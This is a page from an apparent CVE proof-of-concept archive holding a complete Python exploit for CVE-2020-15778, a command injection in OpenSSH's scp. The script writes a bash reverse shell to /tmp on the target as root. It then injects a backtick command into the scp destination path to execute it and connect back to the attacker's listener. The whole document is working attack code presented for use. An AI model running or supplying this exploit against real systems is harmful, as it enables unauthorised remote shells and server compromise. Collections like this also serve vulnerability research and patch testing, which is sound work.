4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2020-15778.py PY
# --CVE-2020-15778-Exp--
# -*- Encoding: utf-8 -*-
import os
import argparse
import sys


def host():
    parser = argparse.ArgumentParser(description='Exp for CVE-2020-15778 by shiro')
    parser.add_argument('-ip', required=True)
    parser.add_argument('-lhost', required=True)
    parser.add_argument('-lport', required=True)
    args = parser.parse_args()
    #print(args)
    return args


def exp(args):
    address = str(args.ip)
    print("[+]target host ip is: " + address)
    lhost = str(args.lhost)
    lport = str(args.lport)
    print("[+]input listener host: " + lhost)
    print("[+]input listener Port: " + lport)
    shellcode = "bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1"
    #print(payload)
    try:
        f = open('shell.sh', mode='w')
        f.write(shellcode)
        f.close()
        print("[+]shellcode generate successful")
        f = open('test.txt', mode='w')
        f.write("123456")
        f.close()
    except:
        print("[-]shellcode generate unsuccessful")
        sys.exit(0)
    cmd1 = "scp shell.sh root@" + address + ":" + "/tmp/shell.sh"
    #print(cmd1)
    cmd2 = "scp test.txt root@" + address + ":" + "'`sh /tmp/shell.sh` /tmp/test.txt'"
    #print(cmd2)
    os.system(cmd1)
    print("[+]backdoor translate success")
    print("[+]payload is ready")
    print("[+]please use netcat to listen reverse shell")
    print("[*]input the password in second time")
    print("[*]waiting for get shell......")
    os.system(cmd2)
    print("[+]enjoy your shell")


if __name__ == '__main__':
    exp(host())